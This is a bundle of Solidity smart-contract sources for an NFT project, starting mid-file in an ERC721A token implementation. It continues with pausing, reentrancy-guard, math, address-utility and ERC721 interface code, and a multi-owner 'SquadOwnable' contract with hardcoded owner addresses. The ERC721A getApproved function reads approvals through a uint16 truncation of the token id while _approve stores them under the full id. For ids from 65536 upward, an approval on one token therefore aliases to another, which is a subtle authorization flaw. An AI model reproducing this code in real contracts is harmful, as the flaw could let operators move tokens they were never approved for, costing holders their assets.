* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
address owner = ERC721A.ownerOf(tokenId);
require(to != owner, 'ERC721A: approval to current owner');
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
'ERC721A: approve caller is not owner nor approved for all'
);
_approve(to, tokenId, owner);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
require(_exists(tokenId), 'ERC721A: approved query for nonexistent token');
return _tokenApprovals[uint16(tokenId)];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public override {
require(operator != _msgSender(), 'ERC721A: approve to caller');
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public override {
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public override {
safeTransferFrom(from, to, tokenId, '');
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public override {
_transfer(from, to, tokenId);
require(
_checkOnERC721Received(from, to, tokenId, _data),
'ERC721A: transfer to non ERC721Receiver implementer'
);
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve}
* or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
*/
function _exists(uint256 tokenId) internal view returns (bool) {
return tokenId < currentIndex;
}
function _safeMint(address to, uint256 quantity) internal {
_safeMint(to, quantity, '');
}
/**
* @dev Safely mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement
* {IERC721Receiver-onERC721Received}, which is called for each safe transfer.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
_mint(to, quantity, _data, true);
}
/**
* @dev Mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _mint(
address to,
uint256 quantity,
bytes memory _data,
bool safe
) internal {
uint256 startTokenId = currentIndex;
require(to != address(0), 'ERC721A: mint to the zero address');
require(quantity != 0, 'ERC721A: quantity must be greater than 0');
_beforeTokenTransfers(address(0), to, startTokenId, quantity);
// Overflows are incredibly unrealistic.
// balance or numberMinted overflow if current value of either + quantity > 3.4e38 (2**128) - 1
// updatedIndex overflows if currentIndex + quantity > 1.56e77 (2**256) - 1
unchecked {
_addressData[to].balance += uint128(quantity);
_addressData[to].numberMinted += uint128(quantity);
_ownerships[startTokenId].addr = to;
_ownerships[startTokenId].startTimestamp = block.timestamp;
uint256 updatedIndex = startTokenId;
uint256 i;
for (i = 0; i < quantity; i++) {
emit Transfer(address(0), to, updatedIndex);
if (safe) {
require(
_checkOnERC721Received(address(0), to, updatedIndex, _data),
'ERC721A: transfer to non ERC721Receiver implementer'
);
}
updatedIndex++;
}
currentIndex = updatedIndex;
}
_afterTokenTransfers(address(0), to, startTokenId, quantity);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||
getApproved(tokenId) == _msgSender() ||
isApprovedForAll(prevOwnership.addr, _msgSender()));
require(isApprovedOrOwner, 'ERC721A: transfer caller is not owner nor approved');
require(prevOwnership.addr == from, 'ERC721A: transfer from incorrect owner');
require(to != address(0), 'ERC721A: transfer to the zero address');
_beforeTokenTransfers(from, to, tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, prevOwnership.addr);
// Underflow of the sender's balance is impossible because we check for
// ownership above and the recipient's balance can't realistically overflow.
// Counter overflow is incredibly unrealistic as tokenId would have to be 2**256.
unchecked {
_addressData[from].balance -= 1;
_addressData[to].balance += 1;
_ownerships[tokenId].addr = to;
_ownerships[tokenId].startTimestamp = block.timestamp;
// If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
if (_ownerships[nextTokenId].addr == address(0)) {
if (_exists(nextTokenId)) {
_ownerships[nextTokenId].addr = prevOwnership.addr;
_ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp;
}
}
}
emit Transfer(from, to, tokenId);
_afterTokenTransfers(from, to, tokenId, 1);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert('ERC721A: transfer to non ERC721Receiver implementer');
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before a set of serially-ordered token ids are about to be
* transferred. This includes minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
*/
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred.
* This includes minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
}
// SPDX-License-Identifier: MIT
/*
* Pausable.sol
*
* Created: December 21, 2021
*
* Provides functionality for pausing and unpausing the sale (or other functionality)
*/
pragma solidity >=0.5.16 <0.9.0;
import "./SquadOwnable.sol";
//@title Pausable
//@author Jack Kasbeer (gh:@jcksber, tw:@satoshigoat, ig:overprivilegd)
contract Pausable is SquadOwnable {
event Paused(address indexed a);
event Unpaused(address indexed a);
bool private _paused;
constructor() {
_paused = false;
}
//@dev This will require the sale to be unpaused
modifier saleActive()
{
require(!_paused, "Pausable: sale paused.");
_;
}
//@dev Pause or unpause minting
function toggleSaleActive() external isSquad
{
_paused = !_paused;
if (_paused) {
emit Paused(_msgSender());
} else {
emit Unpaused(_msgSender());
}
}
//@dev Determine if the sale is currently paused
function isPaused() public view virtual returns (bool)
{
return _paused;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// SPDX-License-Identifier: MIT
/*
* LibPart.sol
*
* Author: Jack Kasbeer (taken from 'dot')
* Created: October 20, 2021
*/
pragma solidity >=0.5.16 <0.9.0;
//@dev We need this libary for Rarible
library LibPart {
bytes32 public constant TYPE_HASH = keccak256("Part(address account,uint96 value)");
struct Part {
address payable account;
uint96 value;
}
function hash(Part memory part) internal pure returns (bytes32) {
return keccak256(abi.encode(TYPE_HASH, part.account, part.value));
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol)
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Enumerable.sol)
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
/*
* SquadOwnable.sol
*
* Created: December 21, 2021
*
* An extension of `Ownable.sol` to accomodate for a potential list of owners.
* NOTE: this will need to be the last inherited contract to give all parents
* access to the modifiers it provides
*/
pragma solidity >=0.5.16 <0.9.0;
import "@openzeppelin/contracts/access/Ownable.sol";
//@title SquadOwnable
//@author Jack Kasbeer (gh:@jcksber, tw:@satoshigoat, ig:overprivilegd)
contract SquadOwnable is Ownable {
//@dev Ownership - list of squad members (owners)
mapping (address => bool) internal _squad;
constructor() {
//add myself and then client
_squad[0xB9699469c0b4dD7B1Dda11dA7678Fa4eFD51211b] = true;
_squad[0x6b8C6E15818C74895c31A1C91390b3d42B336799] = true;//logik
}
//@dev Custom modifier for multiple owners
modifier isSquad()
{
require(isInSquad(_msgSender()), "SquadOwnable: Caller not part of squad.");
_;
}
//@dev Determine if address `a` is an approved owner
function isInSquad(address a) public view returns (bool)
{
return _squad[a];
}
//@dev Add `a` to the squad
function addToSquad(address a) public onlyOwner
{
require(!isInSquad(a), "SquadOwnable: Address already in squad.");
_squad[a] = true;
}
//@dev Remove `a` from the squad
function removeFromSquad(address a) public onlyOwner
{
require(isInSquad(a), "SquadOwnable: Address already not in squad.");
_squad[a] = false;
}
}
// SPDX-License-Identifier: MIT
